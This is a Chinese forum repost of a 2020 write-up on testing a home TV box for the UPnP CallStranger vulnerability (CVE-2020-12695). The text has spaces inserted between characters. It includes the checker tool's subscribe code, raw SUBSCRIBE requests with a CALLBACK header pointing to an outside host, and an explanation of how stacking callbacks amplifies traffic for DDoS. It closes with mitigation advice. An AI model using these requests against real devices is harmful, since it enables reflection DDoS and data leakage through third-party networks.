搜索

[15744] 2020-08-18_一次对电视盒子的漏洞分析

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-08-18_一次对电视盒子的漏洞分析 一 次 对 电 视 盒 子 的 漏 洞 分 析 卡 卡 罗 特 _   F r e e B u f   2 0 2 0 - 0 8 - 1 8 起 因 起 因 周 末 正 要 使 用 前 不 久 刚 装 上 的 电 视 盒 子 看 剧 ， 突 然 想 到 电 视 盒 子 也 是 需 要 网 络 的 ， 于 是 就 对 电 视 盒 子 开 始 了 测 试 之 路 。 上 路 上 路 首 先 看 一 下 i p 地 址 ， 1 9 2 . 1 6 8 . 1 0 1 . 2 2 首 先 想 到 的 是 命 令 执 行 ， 经 过 一 番 操 作 发 现 并 不 存 在 ， 看 来 系 统 都 是 升 级 了 的 。 扫 描 端 口 发 现 4 9 1 5 2 端 口 打 开 ， 详 细 扫 描 发 现 是 U p n p 服 务 突 然 想 到 了 今 年 6 月 的 U P n P 协 议 漏 洞 C V E - 2 0 2 0 - 1 2 6 9 5 ， U P n P   2 0 2 0 - 0 4 - 1 7 之 前 版 本 中 存 在 安 全 漏 洞 。 攻 击 者 可 借 助 S U B S C R I B E 功 能 利 用 该 漏 洞 将 流 量 发 送 到 任 意 位 置 ， 导 致 拒 绝 服 务 或 数 据 泄 露 。 U P n P 全 称 为 U n i v e r s a l   P l u g   a n d   P l a y ， 即 通 用 即 插 即 用 ， U P n P 允 许 各 种 网 络 设 备 在 没 有 任 何 特 殊 设 置 或 配 置 的 情 况 下 进 行 通 信 ， 使 设 备 彼 此 可 自 动 连 接 和 协 同 工 作 。 在 U P n P 协 议 规 范 中 有 一 个 非 常 重 要 的 功 能 模 块 ， 叫 做 事 件 ( E v e n t i n g ) 。 在 U P n P 服 务 进 行 的 时 间 内 ， 只 要 设 备 用 于 U P n P 服 务 的 变 量 值 发 生 变 化 或 者 模 式 发 生 了 改 变 ， 就 会 产 生 一 个 事 件 ， 随 之 向 整 个 网 络 进 行 广 播 。 或 者 用 户 可 以 事 先 向 U P n P 设 备 发 送 订 阅 请 求 ， 保 证 U P n P 设 备 及 时 地 将 事 件 传 送 过 来 。 关 于 U P n P 的 N T 与 C A L L B A C K 订 阅 模 块 有 如 下 格 式 ：
C A L L B A C K 的 值 一 般 为 回 调 地 址 的 U R L 。 N T 取 u p n p : e v e n t 表 示 订 阅 事 件 。 U P n P 协 议 规 范 文 档 中 提 到 ： C A L L B A C K 是 必 填 区 域 ， 所 填 信 息 为 发 送 事 件 信 息 的 U R L 。 一 般 情 况 下 为 U P n P 供 应 商 指 定 。 如 果 其 中 定 义 了 不 止 一 个 U R L ， 设 备 会 按 顺 序 尝 试 连 接 ， 直 到 有 一 个 连 接 成 功 。 每 个 U R L 一 般 为 H T T P 协 议 ( 即 前 缀 为 ” h t t p : / / ” ) 。 验 证 工 具 ： h t t p s : / / g i t h u b . c o m / y u n u s c a d i r c i / C a l l S t r a n g e r 解 压 后 进 入 C a l l S t r a n g e r 目 录 安 装 工 具 p y t h o n 3   s e t u p . p y   i n s t a l l 安 装 完 之 后 接 下 来 开 始 利 用 ： 利 用 之 前 先 看 一 下 这 个 工 具 的 部 分 代 码 ： 首 先 对 目 标 进 行 s u b s c r i b e 订 阅 请 求 ， 并 从 h e a d e r 里 加 入 一 个 C A L L B A C K 的 值 来 进 行 回 调 ， C A L L B A C K 的 值 为 指 定 的 u r l ， 如 果 订 阅 成 功 就 会 返 回 2 0 0 ， 表 示 订 阅 成 功 ， 很 可 能 存 在 漏 洞 。 对 当 前 网 络 进 行 扫 描 和 测 试 ： p y t h o n 3   C a l l S t r a n g e r . p y 找 到 了 三 个 U p n p 设 备 ： 华 为 路 由 器 、 客 厅 盒 子 、 客 厅 极 光 T V d e f   s u b s c r i b e ( U R L , c a l l b a c k U R L ) :         m y h e a d e r s   =   {         ' U s e r - A g e n t ' : ' C a l l s t r a n g e r   V u l n e r a b i l i t y   C h e c k e r ' ,         ' C A L L B A C K ' :   ' < ' + c a l l b a c k U R L + ' > ' ,         ' N T ' :   ' u p n p : e v e n t ' ,         ' T I M E O U T ' :   ' S e c o n d - 3 0 0 ' }           # p r i n t ( U R L , c a l l b a c k U R L , ' s e n d i n g ' )         r e q   =   r e q u e s t s . r e q u e s t ( ' S U B S C R I B E ' ,   U R L , h e a d e r s = m y h e a d e r s )         i f   r e q . s t a t u s _ c o d e = = 2 0 0 :                 p r i n t ( c o l o r e d ( ' S u b s c r i b e   t o   ' + U R L + '   s e e m s   s u c c e s s f u l l ' , ' g r e e n ' ) )                 p r i n t ( r e q . h e a d e r s )                 p r i n t ( r e q . t e x t )         e l s e :                 p r i n t ( c o l o r e d ( ' S u b s c r i b e   t o   ' + U R L + '   f a i l e d   w i t h   s t a t u s   c o d e : ' + s t r ( r e q . s t a t u s _ c o d e ) , ' r e d ' ) )                 p r i n t ( r e q . h e a d e r s )                 p r i n t ( r e q . t e x t )
如 下 图 ， 扫 描 利 用 完 毕 ， 标 记 为 红 色 的 是 确 定 有 漏 洞 的 ， 标 记 为 黄 色 的 是 疑 似 的 。 接 下 来 我 们 通 过 流 量 分 析 来 看 看 具 体 干 了 哪 些 事 情 。 如 下 图 ， 首 先 回 调 的 设 备 需 要 一 个 自 己 的 s e s s i o n
然 后 通 过 将 获 得 的 s e s s i o n 值 加 入 到 t o k e n 里 再 次 p u t 请 求 得 到 一 组 k e y 值 然 后 再 将 获 取 到 的 t o k e n 和 k e y 值 加 入 到 S U B S C R I B E 请 求 的 回 调 值 里 进 行 请 求 ： P U T   / C a l l S t r a n g e r . p h p ? c = g e t s e r v i c e s & t o k e n = x x x   H T T P / 1 . 1 H o s t :   2 0 . 4 2 . 1 0 5 . 4 5 U s e r - A g e n t :   p y t h o n - r e q u e s t s / 2 . 2 2 . 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   k e e p - a l i v e C o n t e n t - L e n g t h :   0 S U B S C R I B E   / _ u r n : s c h e m a s - u p n p - o r g : s e r v i c e : A V T r a n s p o r t _ e v e n t   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 0 1 . 2 2 : 4 9 1 5 2 U s e r - A g e n t :   C a l l s t r a n g e r   V u l n e r a b i l i t y   C h e c k e r A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   k e e p - a l i v e C A L L B A C K :   < h t t p : / / 2 0 . 4 2 . 1 0 5 . 4 5 : 8 0 / C a l l S t r a n g e r . p h p ? c = a d d s e r v i c e & s e r v i c e = g A A A A A B f H - v G u H s X h A u U 7 3 s w . . . . . . . . . = & t o k e n = . . . . . . . . > N T :   u p n p : e v e n t T I M E O U T :   S e c o n d - 3 0 0 C o n t e n t - L e n g t h :   0
服 务 器 返 回 2 0 0 表 示 回 调 的 值 可 以 被 利 用 ， 存 在 此 漏 洞 ， 由 于 C A L L B A C K 并 不 限 定 数 量 ， 如 果 回 调 值 里 加 入 多 个 u r l ， 可 造 成 D d o s 攻 击 ， U p n p 的 官 方 文 档 里 也 给 出 了 说 明 ： 每 个 回 调 值 向 回 调 值 指 定 的 主 机 发 送 1 0 7 个 S Y N 包 。 在 1 0 7 个 S Y N 包 之 后 ， 它 尝 试 连 接 下 一 个 值 。 这 意 味 着 每 2 5 字 节 就 有 1 0 7 6 0 字 节 的 T C P   S Y N 流 量 。 我 们 可 以 计 算 一 下 放 大 的 倍 数 ： 1 0 7 6 0 / 2 5 = 2 5 6 ， 也 就 是 说 1 个 回 调 值 放 大 2 5 6 倍 ， 如 果 采 用 多 个 回 调 值 可 进 行 无 限 放 大 。 如 果 返 回 4 1 2 ， 说 明 回 调 值 不 可 利 用 ， 不 存 在 此 漏 洞 ， 前 面 的 扫 描 结 果 也 说 明 了 这 一 点 。
总 结 总 结 总 的 来 说 ， 回 调 值 如 果 被 利 用 了 后 果 还 是 挺 严 重 的 ， 如 果 没 有 必 要 ， 最 好 关 闭 U P n P 端 口 。 看 来 电 视 盒 子 定 期 也 要 更 新 系 统 啊 ， 否 则 为 什 么 定 期 弹 窗 让 升 级 系 统 呢 ？ 在 最 新 更 新 的 U P n P 协 议 规 范 中 ， 可 以 看 出 开 发 者 限 制 了 订 阅 事 件 的 源 I P 和 目 标 I P 都 必 须 在 内 网 中 ， 这 从 一 定 程 度 上 修 复 了 该 漏 洞 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理